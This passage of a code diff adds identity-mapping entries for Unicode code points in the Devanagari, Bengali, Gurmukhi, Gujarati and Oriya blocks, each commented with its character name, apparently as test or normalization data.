+ ["\u0951", "\u0951"], /* DEVANAGARI STRESS SIGN UDATTA */
+ ["\u0952", "\u0952"], /* DEVANAGARI STRESS SIGN ANUDATTA */
+ ["\u0953", "\u0953"], /* DEVANAGARI GRAVE ACCENT */
+ ["\u0954", "\u0954"], /* DEVANAGARI ACUTE ACCENT */
+ ["\u0955", "\u0955"], /* DEVANAGARI VOWEL SIGN CANDRA LONG E */
+ ["\u0956", "\u0956"], /* DEVANAGARI VOWEL SIGN UE */
+ ["\u0957", "\u0957"], /* DEVANAGARI VOWEL SIGN UUE */
+ ["\u0958", "\u0958"], /* DEVANAGARI LETTER QA */
+ ["\u0959", "\u0959"], /* DEVANAGARI LETTER KHHA */
+ ["\u095A", "\u095A"], /* DEVANAGARI LETTER GHHA */
+ ["\u095B", "\u095B"], /* DEVANAGARI LETTER ZA */
+ ["\u095C", "\u095C"], /* DEVANAGARI LETTER DDDHA */
+ ["\u095D", "\u095D"], /* DEVANAGARI LETTER RHA */
+ ["\u095E", "\u095E"], /* DEVANAGARI LETTER FA */
+ ["\u095F", "\u095F"], /* DEVANAGARI LETTER YYA */
+ ["\u0960", "\u0960"], /* DEVANAGARI LETTER VOCALIC RR */
+ ["\u0961", "\u0961"], /* DEVANAGARI LETTER VOCALIC LL */
+ ["\u0962", "\u0962"], /* DEVANAGARI VOWEL SIGN VOCALIC L */
+ ["\u0963", "\u0963"], /* DEVANAGARI VOWEL SIGN VOCALIC LL */
+ ["\u0964", "\u0964"], /* DEVANAGARI DANDA */
+ ["\u0965", "\u0965"], /* DEVANAGARI DOUBLE DANDA */
+ ["\u0966", "\u0966"], /* DEVANAGARI DIGIT ZERO */
+ ["\u0967", "\u0967"], /* DEVANAGARI DIGIT ONE */
+ ["\u0968", "\u0968"], /* DEVANAGARI DIGIT TWO */
+ ["\u0969", "\u0969"], /* DEVANAGARI DIGIT THREE */
+ ["\u096A", "\u096A"], /* DEVANAGARI DIGIT FOUR */
+ ["\u096B", "\u096B"], /* DEVANAGARI DIGIT FIVE */
+ ["\u096C", "\u096C"], /* DEVANAGARI DIGIT SIX */
+ ["\u096D", "\u096D"], /* DEVANAGARI DIGIT SEVEN */
+ ["\u096E", "\u096E"], /* DEVANAGARI DIGIT EIGHT */
+ ["\u096F", "\u096F"], /* DEVANAGARI DIGIT NINE */
+ ["\u0970", "\u0970"], /* DEVANAGARI ABBREVIATION SIGN */
+ ["\u0971", "\u0971"], /* DEVANAGARI SIGN HIGH SPACING DOT */
+ ["\u0972", "\u0972"], /* DEVANAGARI LETTER CANDRA A */
+ ["\u0973", "\u0973"], /* DEVANAGARI LETTER OE */
+ ["\u0974", "\u0974"], /* DEVANAGARI LETTER OOE */
+ ["\u0975", "\u0975"], /* DEVANAGARI LETTER AW */
+ ["\u0976", "\u0976"], /* DEVANAGARI LETTER UE */
+ ["\u0977", "\u0977"], /* DEVANAGARI LETTER UUE */
+ ["\u0978", "\u0978"], /* DEVANAGARI LETTER MARWARI DDA */
+ ["\u0979", "\u0979"], /* DEVANAGARI LETTER ZHA */
+ ["\u097A", "\u097A"], /* DEVANAGARI LETTER HEAVY YA */
+ ["\u097B", "\u097B"], /* DEVANAGARI LETTER GGA */
+ ["\u097C", "\u097C"], /* DEVANAGARI LETTER JJA */
+ ["\u097D", "\u097D"], /* DEVANAGARI LETTER GLOTTAL STOP */
+ ["\u097E", "\u097E"], /* DEVANAGARI LETTER DDDA */
+ ["\u097F", "\u097F"], /* DEVANAGARI LETTER BBA */
+ ["\u0980", "\u0980"], /* BENGALI ANJI */
+ ["\u0981", "\u0981"], /* BENGALI SIGN CANDRABINDU */
+ ["\u0982", "\u0982"], /* BENGALI SIGN ANUSVARA */
+ ["\u0983", "\u0983"], /* BENGALI SIGN VISARGA */
+ ["\u0984", "\u0984"],
+ ["\u0985", "\u0985"], /* BENGALI LETTER A */
+ ["\u0986", "\u0986"], /* BENGALI LETTER AA */
+ ["\u0987", "\u0987"], /* BENGALI LETTER I */
+ ["\u0988", "\u0988"], /* BENGALI LETTER II */
+ ["\u0989", "\u0989"], /* BENGALI LETTER U */
+ ["\u098A", "\u098A"], /* BENGALI LETTER UU */
+ ["\u098B", "\u098B"], /* BENGALI LETTER VOCALIC R */
+ ["\u098C", "\u098C"], /* BENGALI LETTER VOCALIC L */
+ ["\u098D", "\u098D"],
+ ["\u098E", "\u098E"],
+ ["\u098F", "\u098F"], /* BENGALI LETTER E */
+ ["\u0990", "\u0990"], /* BENGALI LETTER AI */
+ ["\u0991", "\u0991"],
+ ["\u0992", "\u0992"],
+ ["\u0993", "\u0993"], /* BENGALI LETTER O */
+ ["\u0994", "\u0994"], /* BENGALI LETTER AU */
+ ["\u0995", "\u0995"], /* BENGALI LETTER KA */
+ ["\u0996", "\u0996"], /* BENGALI LETTER KHA */
+ ["\u0997", "\u0997"], /* BENGALI LETTER GA */
+ ["\u0998", "\u0998"], /* BENGALI LETTER GHA */
+ ["\u0999", "\u0999"], /* BENGALI LETTER NGA */
+ ["\u099A", "\u099A"], /* BENGALI LETTER CA */
+ ["\u099B", "\u099B"], /* BENGALI LETTER CHA */
+ ["\u099C", "\u099C"], /* BENGALI LETTER JA */
+ ["\u099D", "\u099D"], /* BENGALI LETTER JHA */
+ ["\u099E", "\u099E"], /* BENGALI LETTER NYA */
+ ["\u099F", "\u099F"], /* BENGALI LETTER TTA */
+ ["\u09A0", "\u09A0"], /* BENGALI LETTER TTHA */
+ ["\u09A1", "\u09A1"], /* BENGALI LETTER DDA */
+ ["\u09A2", "\u09A2"], /* BENGALI LETTER DDHA */
+ ["\u09A3", "\u09A3"], /* BENGALI LETTER NNA */
+ ["\u09A4", "\u09A4"], /* BENGALI LETTER TA */
+ ["\u09A5", "\u09A5"], /* BENGALI LETTER THA */
+ ["\u09A6", "\u09A6"], /* BENGALI LETTER DA */
+ ["\u09A7", "\u09A7"], /* BENGALI LETTER DHA */
+ ["\u09A8", "\u09A8"], /* BENGALI LETTER NA */
+ ["\u09A9", "\u09A9"],
+ ["\u09AA", "\u09AA"], /* BENGALI LETTER PA */
+ ["\u09AB", "\u09AB"], /* BENGALI LETTER PHA */
+ ["\u09AC", "\u09AC"], /* BENGALI LETTER BA */
+ ["\u09AD", "\u09AD"], /* BENGALI LETTER BHA */
+ ["\u09AE", "\u09AE"], /* BENGALI LETTER MA */
+ ["\u09AF", "\u09AF"], /* BENGALI LETTER YA */
+ ["\u09B0", "\u09B0"], /* BENGALI LETTER RA */
+ ["\u09B1", "\u09B1"],
+ ["\u09B2", "\u09B2"], /* BENGALI LETTER LA */
+ ["\u09B3", "\u09B3"],
+ ["\u09B4", "\u09B4"],
+ ["\u09B5", "\u09B5"],
+ ["\u09B6", "\u09B6"], /* BENGALI LETTER SHA */
+ ["\u09B7", "\u09B7"], /* BENGALI LETTER SSA */
+ ["\u09B8", "\u09B8"], /* BENGALI LETTER SA */
+ ["\u09B9", "\u09B9"], /* BENGALI LETTER HA */
+ ["\u09BA", "\u09BA"],
+ ["\u09BB", "\u09BB"],
+ ["\u09BC", "\u09BC"], /* BENGALI SIGN NUKTA */
+ ["\u09BD", "\u09BD"], /* BENGALI SIGN AVAGRAHA */
+ ["\u09BE", "\u09BE"], /* BENGALI VOWEL SIGN AA */
+ ["\u09BF", "\u09BF"], /* BENGALI VOWEL SIGN I */
+ ["\u09C0", "\u09C0"], /* BENGALI VOWEL SIGN II */
+ ["\u09C1", "\u09C1"], /* BENGALI VOWEL SIGN U */
+ ["\u09C2", "\u09C2"], /* BENGALI VOWEL SIGN UU */
+ ["\u09C3", "\u09C3"], /* BENGALI VOWEL SIGN VOCALIC R */
+ ["\u09C4", "\u09C4"], /* BENGALI VOWEL SIGN VOCALIC RR */
+ ["\u09C5", "\u09C5"],
+ ["\u09C6", "\u09C6"],
+ ["\u09C7", "\u09C7"], /* BENGALI VOWEL SIGN E */
+ ["\u09C8", "\u09C8"], /* BENGALI VOWEL SIGN AI */
+ ["\u09C9", "\u09C9"],
+ ["\u09CA", "\u09CA"],
+ ["\u09CB", "\u09CB"], /* BENGALI VOWEL SIGN O */
+ ["\u09CC", "\u09CC"], /* BENGALI VOWEL SIGN AU */
+ ["\u09CD", "\u09CD"], /* BENGALI SIGN VIRAMA */
+ ["\u09CE", "\u09CE"], /* BENGALI LETTER KHANDA TA */
+ ["\u09CF", "\u09CF"],
+ ["\u09D0", "\u09D0"],
+ ["\u09D1", "\u09D1"],
+ ["\u09D2", "\u09D2"],
+ ["\u09D3", "\u09D3"],
+ ["\u09D4", "\u09D4"],
+ ["\u09D5", "\u09D5"],
+ ["\u09D6", "\u09D6"],
+ ["\u09D7", "\u09D7"], /* BENGALI AU LENGTH MARK */
+ ["\u09D8", "\u09D8"],
+ ["\u09D9", "\u09D9"],
+ ["\u09DA", "\u09DA"],
+ ["\u09DB", "\u09DB"],
+ ["\u09DC", "\u09DC"], /* BENGALI LETTER RRA */
+ ["\u09DD", "\u09DD"], /* BENGALI LETTER RHA */
+ ["\u09DE", "\u09DE"],
+ ["\u09DF", "\u09DF"], /* BENGALI LETTER YYA */
+ ["\u09E0", "\u09E0"], /* BENGALI LETTER VOCALIC RR */
+ ["\u09E1", "\u09E1"], /* BENGALI LETTER VOCALIC LL */
+ ["\u09E2", "\u09E2"], /* BENGALI VOWEL SIGN VOCALIC L */
+ ["\u09E3", "\u09E3"], /* BENGALI VOWEL SIGN VOCALIC LL */
+ ["\u09E4", "\u09E4"],
+ ["\u09E5", "\u09E5"],
+ ["\u09E6", "\u09E6"], /* BENGALI DIGIT ZERO */
+ ["\u09E7", "\u09E7"], /* BENGALI DIGIT ONE */
+ ["\u09E8", "\u09E8"], /* BENGALI DIGIT TWO */
+ ["\u09E9", "\u09E9"], /* BENGALI DIGIT THREE */
+ ["\u09EA", "\u09EA"], /* BENGALI DIGIT FOUR */
+ ["\u09EB", "\u09EB"], /* BENGALI DIGIT FIVE */
+ ["\u09EC", "\u09EC"], /* BENGALI DIGIT SIX */
+ ["\u09ED", "\u09ED"], /* BENGALI DIGIT SEVEN */
+ ["\u09EE", "\u09EE"], /* BENGALI DIGIT EIGHT */
+ ["\u09EF", "\u09EF"], /* BENGALI DIGIT NINE */
+ ["\u09F0", "\u09F0"], /* BENGALI LETTER RA WITH MIDDLE DIAGONAL */
+ ["\u09F1", "\u09F1"], /* BENGALI LETTER RA WITH LOWER DIAGONAL (BENGALI LETTER VA WITH LOWER DIAGONAL) */
+ ["\u09F2", "\u09F2"], /* BENGALI RUPEE MARK */
+ ["\u09F3", "\u09F3"], /* BENGALI RUPEE SIGN */
+ ["\u09F4", "\u09F4"], /* BENGALI CURRENCY NUMERATOR ONE */
+ ["\u09F5", "\u09F5"], /* BENGALI CURRENCY NUMERATOR TWO */
+ ["\u09F6", "\u09F6"], /* BENGALI CURRENCY NUMERATOR THREE */
+ ["\u09F7", "\u09F7"], /* BENGALI CURRENCY NUMERATOR FOUR */
+ ["\u09F8", "\u09F8"], /* BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR */
+ ["\u09F9", "\u09F9"], /* BENGALI CURRENCY DENOMINATOR SIXTEEN */
+ ["\u09FA", "\u09FA"], /* BENGALI ISSHAR */
+ ["\u09FB", "\u09FB"], /* BENGALI GANDA MARK */
+ ["\u09FC", "\u09FC"], /* BENGALI LETTER VEDIC ANUSVARA */
+ ["\u09FD", "\u09FD"], /* BENGALI ABBREVIATION SIGN */
+ ["\u09FE", "\u09FE"], /* BENGALI SANDHI MARK */
+ ["\u09FF", "\u09FF"],
+ ["\u0A00", "\u0A00"],
+ ["\u0A01", "\u0A01"], /* GURMUKHI SIGN ADAK BINDI */
+ ["\u0A02", "\u0A02"], /* GURMUKHI SIGN BINDI */
+ ["\u0A03", "\u0A03"], /* GURMUKHI SIGN VISARGA */
+ ["\u0A04", "\u0A04"],
+ ["\u0A05", "\u0A05"], /* GURMUKHI LETTER A */
+ ["\u0A06", "\u0A06"], /* GURMUKHI LETTER AA */
+ ["\u0A07", "\u0A07"], /* GURMUKHI LETTER I */
+ ["\u0A08", "\u0A08"], /* GURMUKHI LETTER II */
+ ["\u0A09", "\u0A09"], /* GURMUKHI LETTER U */
+ ["\u0A0A", "\u0A0A"], /* GURMUKHI LETTER UU */
+ ["\u0A0B", "\u0A0B"],
+ ["\u0A0C", "\u0A0C"],
+ ["\u0A0D", "\u0A0D"],
+ ["\u0A0E", "\u0A0E"],
+ ["\u0A0F", "\u0A0F"], /* GURMUKHI LETTER EE */
+ ["\u0A10", "\u0A10"], /* GURMUKHI LETTER AI */
+ ["\u0A11", "\u0A11"],
+ ["\u0A12", "\u0A12"],
+ ["\u0A13", "\u0A13"], /* GURMUKHI LETTER OO */
+ ["\u0A14", "\u0A14"], /* GURMUKHI LETTER AU */
+ ["\u0A15", "\u0A15"], /* GURMUKHI LETTER KA */
+ ["\u0A16", "\u0A16"], /* GURMUKHI LETTER KHA */
+ ["\u0A17", "\u0A17"], /* GURMUKHI LETTER GA */
+ ["\u0A18", "\u0A18"], /* GURMUKHI LETTER GHA */
+ ["\u0A19", "\u0A19"], /* GURMUKHI LETTER NGA */
+ ["\u0A1A", "\u0A1A"], /* GURMUKHI LETTER CA */
+ ["\u0A1B", "\u0A1B"], /* GURMUKHI LETTER CHA */
+ ["\u0A1C", "\u0A1C"], /* GURMUKHI LETTER JA */
+ ["\u0A1D", "\u0A1D"], /* GURMUKHI LETTER JHA */
+ ["\u0A1E", "\u0A1E"], /* GURMUKHI LETTER NYA */
+ ["\u0A1F", "\u0A1F"], /* GURMUKHI LETTER TTA */
+ ["\u0A20", "\u0A20"], /* GURMUKHI LETTER TTHA */
+ ["\u0A21", "\u0A21"], /* GURMUKHI LETTER DDA */
+ ["\u0A22", "\u0A22"], /* GURMUKHI LETTER DDHA */
+ ["\u0A23", "\u0A23"], /* GURMUKHI LETTER NNA */
+ ["\u0A24", "\u0A24"], /* GURMUKHI LETTER TA */
+ ["\u0A25", "\u0A25"], /* GURMUKHI LETTER THA */
+ ["\u0A26", "\u0A26"], /* GURMUKHI LETTER DA */
+ ["\u0A27", "\u0A27"], /* GURMUKHI LETTER DHA */
+ ["\u0A28", "\u0A28"], /* GURMUKHI LETTER NA */
+ ["\u0A29", "\u0A29"],
+ ["\u0A2A", "\u0A2A"], /* GURMUKHI LETTER PA */
+ ["\u0A2B", "\u0A2B"], /* GURMUKHI LETTER PHA */
+ ["\u0A2C", "\u0A2C"], /* GURMUKHI LETTER BA */
+ ["\u0A2D", "\u0A2D"], /* GURMUKHI LETTER BHA */
+ ["\u0A2E", "\u0A2E"], /* GURMUKHI LETTER MA */
+ ["\u0A2F", "\u0A2F"], /* GURMUKHI LETTER YA */
+ ["\u0A30", "\u0A30"], /* GURMUKHI LETTER RA */
+ ["\u0A31", "\u0A31"],
+ ["\u0A32", "\u0A32"], /* GURMUKHI LETTER LA */
+ ["\u0A33", "\u0A33"], /* GURMUKHI LETTER LLA */
+ ["\u0A34", "\u0A34"],
+ ["\u0A35", "\u0A35"], /* GURMUKHI LETTER VA */
+ ["\u0A36", "\u0A36"], /* GURMUKHI LETTER SHA */
+ ["\u0A37", "\u0A37"],
+ ["\u0A38", "\u0A38"], /* GURMUKHI LETTER SA */
+ ["\u0A39", "\u0A39"], /* GURMUKHI LETTER HA */
+ ["\u0A3A", "\u0A3A"],
+ ["\u0A3B", "\u0A3B"],
+ ["\u0A3C", "\u0A3C"], /* GURMUKHI SIGN NUKTA */
+ ["\u0A3D", "\u0A3D"],
+ ["\u0A3E", "\u0A3E"], /* GURMUKHI VOWEL SIGN AA */
+ ["\u0A3F", "\u0A3F"], /* GURMUKHI VOWEL SIGN I */
+ ["\u0A40", "\u0A40"], /* GURMUKHI VOWEL SIGN II */
+ ["\u0A41", "\u0A41"], /* GURMUKHI VOWEL SIGN U */
+ ["\u0A42", "\u0A42"], /* GURMUKHI VOWEL SIGN UU */
+ ["\u0A43", "\u0A43"],
+ ["\u0A44", "\u0A44"],
+ ["\u0A45", "\u0A45"],
+ ["\u0A46", "\u0A46"],
+ ["\u0A47", "\u0A47"], /* GURMUKHI VOWEL SIGN EE */
+ ["\u0A48", "\u0A48"], /* GURMUKHI VOWEL SIGN AI */
+ ["\u0A49", "\u0A49"],
+ ["\u0A4A", "\u0A4A"],
+ ["\u0A4B", "\u0A4B"], /* GURMUKHI VOWEL SIGN OO */
+ ["\u0A4C", "\u0A4C"], /* GURMUKHI VOWEL SIGN AU */
+ ["\u0A4D", "\u0A4D"], /* GURMUKHI SIGN VIRAMA */
+ ["\u0A4E", "\u0A4E"],
+ ["\u0A4F", "\u0A4F"],
+ ["\u0A50", "\u0A50"],
+ ["\u0A51", "\u0A51"], /* GURMUKHI SIGN UDAAT */
+ ["\u0A52", "\u0A52"],
+ ["\u0A53", "\u0A53"],
+ ["\u0A54", "\u0A54"],
+ ["\u0A55", "\u0A55"],
+ ["\u0A56", "\u0A56"],
+ ["\u0A57", "\u0A57"],
+ ["\u0A58", "\u0A58"],
+ ["\u0A59", "\u0A59"], /* GURMUKHI LETTER KHHA */
+ ["\u0A5A", "\u0A5A"], /* GURMUKHI LETTER GHHA */
+ ["\u0A5B", "\u0A5B"], /* GURMUKHI LETTER ZA */
+ ["\u0A5C", "\u0A5C"], /* GURMUKHI LETTER RRA */
+ ["\u0A5D", "\u0A5D"],
+ ["\u0A5E", "\u0A5E"], /* GURMUKHI LETTER FA */
+ ["\u0A5F", "\u0A5F"],
+ ["\u0A60", "\u0A60"],
+ ["\u0A61", "\u0A61"],
+ ["\u0A62", "\u0A62"],
+ ["\u0A63", "\u0A63"],
+ ["\u0A64", "\u0A64"],
+ ["\u0A65", "\u0A65"],
+ ["\u0A66", "\u0A66"], /* GURMUKHI DIGIT ZERO */
+ ["\u0A67", "\u0A67"], /* GURMUKHI DIGIT ONE */
+ ["\u0A68", "\u0A68"], /* GURMUKHI DIGIT TWO */
+ ["\u0A69", "\u0A69"], /* GURMUKHI DIGIT THREE */
+ ["\u0A6A", "\u0A6A"], /* GURMUKHI DIGIT FOUR */
+ ["\u0A6B", "\u0A6B"], /* GURMUKHI DIGIT FIVE */
+ ["\u0A6C", "\u0A6C"], /* GURMUKHI DIGIT SIX */
+ ["\u0A6D", "\u0A6D"], /* GURMUKHI DIGIT SEVEN */
+ ["\u0A6E", "\u0A6E"], /* GURMUKHI DIGIT EIGHT */
+ ["\u0A6F", "\u0A6F"], /* GURMUKHI DIGIT NINE */
+ ["\u0A70", "\u0A70"], /* GURMUKHI TIPPI */
+ ["\u0A71", "\u0A71"], /* GURMUKHI ADDAK */
+ ["\u0A72", "\u0A72"], /* GURMUKHI IRI */
+ ["\u0A73", "\u0A73"], /* GURMUKHI URA */
+ ["\u0A74", "\u0A74"], /* GURMUKHI EK ONKAR */
+ ["\u0A75", "\u0A75"], /* GURMUKHI SIGN YAKASH */
+ ["\u0A76", "\u0A76"], /* GURMUKHI ABBREVIATION SIGN */
+ ["\u0A77", "\u0A77"],
+ ["\u0A78", "\u0A78"],
+ ["\u0A79", "\u0A79"],
+ ["\u0A7A", "\u0A7A"],
+ ["\u0A7B", "\u0A7B"],
+ ["\u0A7C", "\u0A7C"],
+ ["\u0A7D", "\u0A7D"],
+ ["\u0A7E", "\u0A7E"],
+ ["\u0A7F", "\u0A7F"],
+ ["\u0A80", "\u0A80"],
+ ["\u0A81", "\u0A81"], /* GUJARATI SIGN CANDRABINDU */
+ ["\u0A82", "\u0A82"], /* GUJARATI SIGN ANUSVARA */
+ ["\u0A83", "\u0A83"], /* GUJARATI SIGN VISARGA */
+ ["\u0A84", "\u0A84"],
+ ["\u0A85", "\u0A85"], /* GUJARATI LETTER A */
+ ["\u0A86", "\u0A86"], /* GUJARATI LETTER AA */
+ ["\u0A87", "\u0A87"], /* GUJARATI LETTER I */
+ ["\u0A88", "\u0A88"], /* GUJARATI LETTER II */
+ ["\u0A89", "\u0A89"], /* GUJARATI LETTER U */
+ ["\u0A8A", "\u0A8A"], /* GUJARATI LETTER UU */
+ ["\u0A8B", "\u0A8B"], /* GUJARATI LETTER VOCALIC R */
+ ["\u0A8C", "\u0A8C"], /* GUJARATI LETTER VOCALIC L */
+ ["\u0A8D", "\u0A8D"], /* GUJARATI VOWEL CANDRA E */
+ ["\u0A8E", "\u0A8E"],
+ ["\u0A8F", "\u0A8F"], /* GUJARATI LETTER E */
+ ["\u0A90", "\u0A90"], /* GUJARATI LETTER AI */
+ ["\u0A91", "\u0A91"], /* GUJARATI VOWEL CANDRA O */
+ ["\u0A92", "\u0A92"],
+ ["\u0A93", "\u0A93"], /* GUJARATI LETTER O */
+ ["\u0A94", "\u0A94"], /* GUJARATI LETTER AU */
+ ["\u0A95", "\u0A95"], /* GUJARATI LETTER KA */
+ ["\u0A96", "\u0A96"], /* GUJARATI LETTER KHA */
+ ["\u0A97", "\u0A97"], /* GUJARATI LETTER GA */
+ ["\u0A98", "\u0A98"], /* GUJARATI LETTER GHA */
+ ["\u0A99", "\u0A99"], /* GUJARATI LETTER NGA */
+ ["\u0A9A", "\u0A9A"], /* GUJARATI LETTER CA */
+ ["\u0A9B", "\u0A9B"], /* GUJARATI LETTER CHA */
+ ["\u0A9C", "\u0A9C"], /* GUJARATI LETTER JA */
+ ["\u0A9D", "\u0A9D"], /* GUJARATI LETTER JHA */
+ ["\u0A9E", "\u0A9E"], /* GUJARATI LETTER NYA */
+ ["\u0A9F", "\u0A9F"], /* GUJARATI LETTER TTA */
+ ["\u0AA0", "\u0AA0"], /* GUJARATI LETTER TTHA */
+ ["\u0AA1", "\u0AA1"], /* GUJARATI LETTER DDA */
+ ["\u0AA2", "\u0AA2"], /* GUJARATI LETTER DDHA */
+ ["\u0AA3", "\u0AA3"], /* GUJARATI LETTER NNA */
+ ["\u0AA4", "\u0AA4"], /* GUJARATI LETTER TA */
+ ["\u0AA5", "\u0AA5"], /* GUJARATI LETTER THA */
+ ["\u0AA6", "\u0AA6"], /* GUJARATI LETTER DA */
+ ["\u0AA7", "\u0AA7"], /* GUJARATI LETTER DHA */
+ ["\u0AA8", "\u0AA8"], /* GUJARATI LETTER NA */
+ ["\u0AA9", "\u0AA9"],
+ ["\u0AAA", "\u0AAA"], /* GUJARATI LETTER PA */
+ ["\u0AAB", "\u0AAB"], /* GUJARATI LETTER PHA */
+ ["\u0AAC", "\u0AAC"], /* GUJARATI LETTER BA */
+ ["\u0AAD", "\u0AAD"], /* GUJARATI LETTER BHA */
+ ["\u0AAE", "\u0AAE"], /* GUJARATI LETTER MA */
+ ["\u0AAF", "\u0AAF"], /* GUJARATI LETTER YA */
+ ["\u0AB0", "\u0AB0"], /* GUJARATI LETTER RA */
+ ["\u0AB1", "\u0AB1"],
+ ["\u0AB2", "\u0AB2"], /* GUJARATI LETTER LA */
+ ["\u0AB3", "\u0AB3"], /* GUJARATI LETTER LLA */
+ ["\u0AB4", "\u0AB4"],
+ ["\u0AB5", "\u0AB5"], /* GUJARATI LETTER VA */
+ ["\u0AB6", "\u0AB6"], /* GUJARATI LETTER SHA */
+ ["\u0AB7", "\u0AB7"], /* GUJARATI LETTER SSA */
+ ["\u0AB8", "\u0AB8"], /* GUJARATI LETTER SA */
+ ["\u0AB9", "\u0AB9"], /* GUJARATI LETTER HA */
+ ["\u0ABA", "\u0ABA"],
+ ["\u0ABB", "\u0ABB"],
+ ["\u0ABC", "\u0ABC"], /* GUJARATI SIGN NUKTA */
+ ["\u0ABD", "\u0ABD"], /* GUJARATI SIGN AVAGRAHA */
+ ["\u0ABE", "\u0ABE"], /* GUJARATI VOWEL SIGN AA */
+ ["\u0ABF", "\u0ABF"], /* GUJARATI VOWEL SIGN I */
+ ["\u0AC0", "\u0AC0"], /* GUJARATI VOWEL SIGN II */
+ ["\u0AC1", "\u0AC1"], /* GUJARATI VOWEL SIGN U */
+ ["\u0AC2", "\u0AC2"], /* GUJARATI VOWEL SIGN UU */
+ ["\u0AC3", "\u0AC3"], /* GUJARATI VOWEL SIGN VOCALIC R */
+ ["\u0AC4", "\u0AC4"], /* GUJARATI VOWEL SIGN VOCALIC RR */
+ ["\u0AC5", "\u0AC5"], /* GUJARATI VOWEL SIGN CANDRA E */
+ ["\u0AC6", "\u0AC6"],
+ ["\u0AC7", "\u0AC7"], /* GUJARATI VOWEL SIGN E */
+ ["\u0AC8", "\u0AC8"], /* GUJARATI VOWEL SIGN AI */
+ ["\u0AC9", "\u0AC9"], /* GUJARATI VOWEL SIGN CANDRA O */
+ ["\u0ACA", "\u0ACA"],
+ ["\u0ACB", "\u0ACB"], /* GUJARATI VOWEL SIGN O */
+ ["\u0ACC", "\u0ACC"], /* GUJARATI VOWEL SIGN AU */
+ ["\u0ACD", "\u0ACD"], /* GUJARATI SIGN VIRAMA */
+ ["\u0ACE", "\u0ACE"],
+ ["\u0ACF", "\u0ACF"],
+ ["\u0AD0", "\u0AD0"], /* GUJARATI OM */
+ ["\u0AD1", "\u0AD1"],
+ ["\u0AD2", "\u0AD2"],
+ ["\u0AD3", "\u0AD3"],
+ ["\u0AD4", "\u0AD4"],
+ ["\u0AD5", "\u0AD5"],
+ ["\u0AD6", "\u0AD6"],
+ ["\u0AD7", "\u0AD7"],
+ ["\u0AD8", "\u0AD8"],
+ ["\u0AD9", "\u0AD9"],
+ ["\u0ADA", "\u0ADA"],
+ ["\u0ADB", "\u0ADB"],
+ ["\u0ADC", "\u0ADC"],
+ ["\u0ADD", "\u0ADD"],
+ ["\u0ADE", "\u0ADE"],
+ ["\u0ADF", "\u0ADF"],
+ ["\u0AE0", "\u0AE0"], /* GUJARATI LETTER VOCALIC RR */
+ ["\u0AE1", "\u0AE1"], /* GUJARATI LETTER VOCALIC LL */
+ ["\u0AE2", "\u0AE2"], /* GUJARATI VOWEL SIGN VOCALIC L */
+ ["\u0AE3", "\u0AE3"], /* GUJARATI VOWEL SIGN VOCALIC LL */
+ ["\u0AE4", "\u0AE4"],
+ ["\u0AE5", "\u0AE5"],
+ ["\u0AE6", "\u0AE6"], /* GUJARATI DIGIT ZERO */
+ ["\u0AE7", "\u0AE7"], /* GUJARATI DIGIT ONE */
+ ["\u0AE8", "\u0AE8"], /* GUJARATI DIGIT TWO */
+ ["\u0AE9", "\u0AE9"], /* GUJARATI DIGIT THREE */
+ ["\u0AEA", "\u0AEA"], /* GUJARATI DIGIT FOUR */
+ ["\u0AEB", "\u0AEB"], /* GUJARATI DIGIT FIVE */
+ ["\u0AEC", "\u0AEC"], /* GUJARATI DIGIT SIX */
+ ["\u0AED", "\u0AED"], /* GUJARATI DIGIT SEVEN */
+ ["\u0AEE", "\u0AEE"], /* GUJARATI DIGIT EIGHT */
+ ["\u0AEF", "\u0AEF"], /* GUJARATI DIGIT NINE */
+ ["\u0AF0", "\u0AF0"], /* GUJARATI ABBREVIATION SIGN */
+ ["\u0AF1", "\u0AF1"], /* GUJARATI RUPEE SIGN */
+ ["\u0AF2", "\u0AF2"],
+ ["\u0AF3", "\u0AF3"],
+ ["\u0AF4", "\u0AF4"],
+ ["\u0AF5", "\u0AF5"],
+ ["\u0AF6", "\u0AF6"],
+ ["\u0AF7", "\u0AF7"],
+ ["\u0AF8", "\u0AF8"],
+ ["\u0AF9", "\u0AF9"], /* GUJARATI LETTER ZHA */
+ ["\u0AFA", "\u0AFA"], /* GUJARATI SIGN SUKUN */
+ ["\u0AFB", "\u0AFB"], /* GUJARATI SIGN SHADDA */
+ ["\u0AFC", "\u0AFC"], /* GUJARATI SIGN MADDAH */
+ ["\u0AFD", "\u0AFD"], /* GUJARATI SIGN THREE-DOT NUKTA ABOVE */
+ ["\u0AFE", "\u0AFE"], /* GUJARATI SIGN CIRCLE NUKTA ABOVE */
+ ["\u0AFF", "\u0AFF"], /* GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE */
+ ["\u0B00", "\u0B00"],
+ ["\u0B01", "\u0B01"], /* ORIYA SIGN CANDRABINDU */
+ ["\u0B02", "\u0B02"], /* ORIYA SIGN ANUSVARA */
+ ["\u0B03", "\u0B03"], /* ORIYA SIGN VISARGA */
+ ["\u0B04", "\u0B04"],
+ ["\u0B05", "\u0B05"], /* ORIYA LETTER A */
+ ["\u0B06", "\u0B06"], /* ORIYA LETTER AA */
+ ["\u0B07", "\u0B07"], /* ORIYA LETTER I */
+ ["\u0B08", "\u0B08"], /* ORIYA LETTER II */
+ ["\u0B09", "\u0B09"], /* ORIYA LETTER U */
+ ["\u0B0A", "\u0B0A"], /* ORIYA LETTER UU */
+ ["\u0B0B", "\u0B0B"], /* ORIYA LETTER VOCALIC R */
+ ["\u0B0C", "\u0B0C"], /* ORIYA LETTER VOCALIC L */
+ ["\u0B0D", "\u0B0D"],
+ ["\u0B0E", "\u0B0E"],
+ ["\u0B0F", "\u0B0F"], /* ORIYA LETTER E */
+ ["\u0B10", "\u0B10"], /* ORIYA LETTER AI */
+ ["\u0B11", "\u0B11"],
+ ["\u0B12", "\u0B12"],
+ ["\u0B13", "\u0B13"], /* ORIYA LETTER O */
+ ["\u0B14", "\u0B14"], /* ORIYA LETTER AU */
+ ["\u0B15", "\u0B15"], /* ORIYA LETTER KA */
+ ["\u0B16", "\u0B16"], /* ORIYA LETTER KHA */
+ ["\u0B17", "\u0B17"], /* ORIYA LETTER GA */
+ ["\u0B18", "\u0B18"], /* ORIYA LETTER GHA */
+ ["\u0B19", "\u0B19"], /* ORIYA LETTER NGA */
+ ["\u0B1A", "\u0B1A"], /* ORIYA LETTER CA */
+ ["\u0B1B", "\u0B1B"], /* ORIYA LETTER CHA */
+ ["\u0B1C", "\u0B1C"], /* ORIYA LETTER JA */
+ ["\u0B1D", "\u0B1D"], /* ORIYA LETTER JHA */
+ ["\u0B1E", "\u0B1E"], /* ORIYA LETTER NYA */
